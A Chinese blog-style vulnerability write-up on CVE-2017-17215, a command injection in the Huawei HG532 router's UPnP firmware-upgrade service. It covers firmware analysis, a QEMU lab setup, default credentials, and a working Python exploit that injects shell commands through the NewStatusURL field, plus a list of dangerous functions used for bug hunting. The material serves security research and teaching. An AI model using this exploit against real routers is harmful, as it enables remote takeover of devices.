华为路由器CVE-2017-17215-HG532

漏洞描述

官方

在这里插入图片描述

该远程命令执行漏洞是位于UPnP服务中的,该设备支持名为DeviceUpgrade的一种服务类型
设备可以通过这种服务更新固件,具体过程是向“/ctrlt/DeviceUpgrade_1”这个地址提交请求,请求中包含NewStatusURL及NewDownloadURL两个元素。远程管理员可以通过该漏洞在设备上执行任意命令 将shell元字符 注入NewStatusURL以及NewDownloadURL元素中。

分析漏洞

下载固件:

https://ia601506.us.archive.org/22/items/RouterHG532e/router%20HG532e.rar

解压分析固件

在这里插入图片描述

上述简介中讲过,这个漏洞集中在UPnP服务中,所以拖到IDA进行分析

查找相关敏感的字符串

在这里插入图片描述

交叉引用跟进去查看

在这里插入图片描述

发现和TOTOLink相似的漏洞点:在没有任何过滤的情况下,snprintf拼接好直接执行

在这里插入图片描述

大概流程就是程序通过ATP_XML_GetChildNodeByName函数获取xml中的节点,并且未经过检查就直接与upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d -b拼接,然后使用system函数进行执行。

下面搭建环境利用

搭建环境

下载启动虚拟机需要的镜像:上面说过,mips,32位,大端

镜像:

https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta

网络配置:(与docker中bridge模式配置差不多)

创建虚拟网桥:

sudo apt-get install bridge-utils
sudo brctl addbr Virbr0
sudo ifconfig Virbr0 192.168.153.1/24 up

创建tap接口,添加到网桥

sudo tunctl -t tap0
sudo ifconfig tap0 192.168.153.11/24 up
sudo brctl addif Virbr0 tap0

启动虚拟机:

sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic

虚拟机中配置ip

ifconfig eth0 192.168.153.2/24 up

然后将固件中的文件系统拷进去

scp -r squashfs-root/ root@192.168.153.2:~/

在这里插入图片描述

在虚拟机中挂载dev和proc

mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc

启动shell

chroot squashfs-root sh

因为后面启动路由器之后,ip会变化,所以另开一个终端启动路由器,这个终端用来后面修改IP地址

ssh root@192.168.153.2
chroot squashfs-root /bin/sh
./bin/upnp
./bin/mic

然后到刚在那个预留的终端中修改IP

ifconfig eth0 192.168.153.2/24 up
ifconfig br0 192.168.153.11/24 up

然后就可以正常使用了;账号密码:admin,@Hua1234

在这里插入图片描述

漏洞利用

根据流程,利用思路大概是:

首先在输入单引号将前面的字符串闭合,然后再注入相应的执行命令即可,如需要执行cat /flag命令,则需要做的就是构造’;cat /flag;节点即可。通过ATP_XML_GetChildNodeByName函数处理后,该节点字符串与upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r %s -d -b拼接得到upg -g -U %s -t ‘1 Firmware Upgrade Image’ -c upnp -r ';cat /flag; -d -b,然后执行system调用,实现注入。

利用脚本

import requests
headers = {
    "Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}

data = '''<?xml version="1.0" ?>
 <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
   <NewStatusURL>;echo "pmjtest">>/bin/hell/1;</NewStatusURL>
   <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
  </u:Upgrade>
 </s:Body>
</s:Envelope>
'''
requests.post('http://192.168.153.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

利用效果

在这里插入图片描述

在这里插入图片描述

自动化漏洞挖掘思路

  1. 我觉得第一个关注点就是从输入点进去一个个查,比如TOTOLink中的websGetVar,然后跟进去查看是否有风险点
  2. 第二个就是从危险函数倒追,比如两处都遇到的,sprintf拼接完成之后,直接没有任何处理就使用system函数执行:strcpy、sprintf、system等
‘popen’, ‘system’, ‘doSystemCmd’, ‘doSystembk’, ‘doSystem’, ‘COMMAND’, ‘_popen’, ‘_system’, ‘_doSystemCmd’, ‘_doSystembk’, ‘_doSystem’, ‘_COMMAND’,‘sprintf’, ‘snprintf’, ‘_sprintf’, ‘_snprintf’

这是我的对这两个设备进行漏洞挖掘的思路总结。

  1. 共享关键字,比如上面有setenv和getenv,或者telnet的关键字,找对应关系
    • 识别这些共享关键字,在后端二进制中定位对应的引入点,并开始查找漏洞
    • 这种情况一般手法:ida中字符串,或是在固件中直接grep查找字符串

参考:https://xz.aliyun.com/t/8494

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值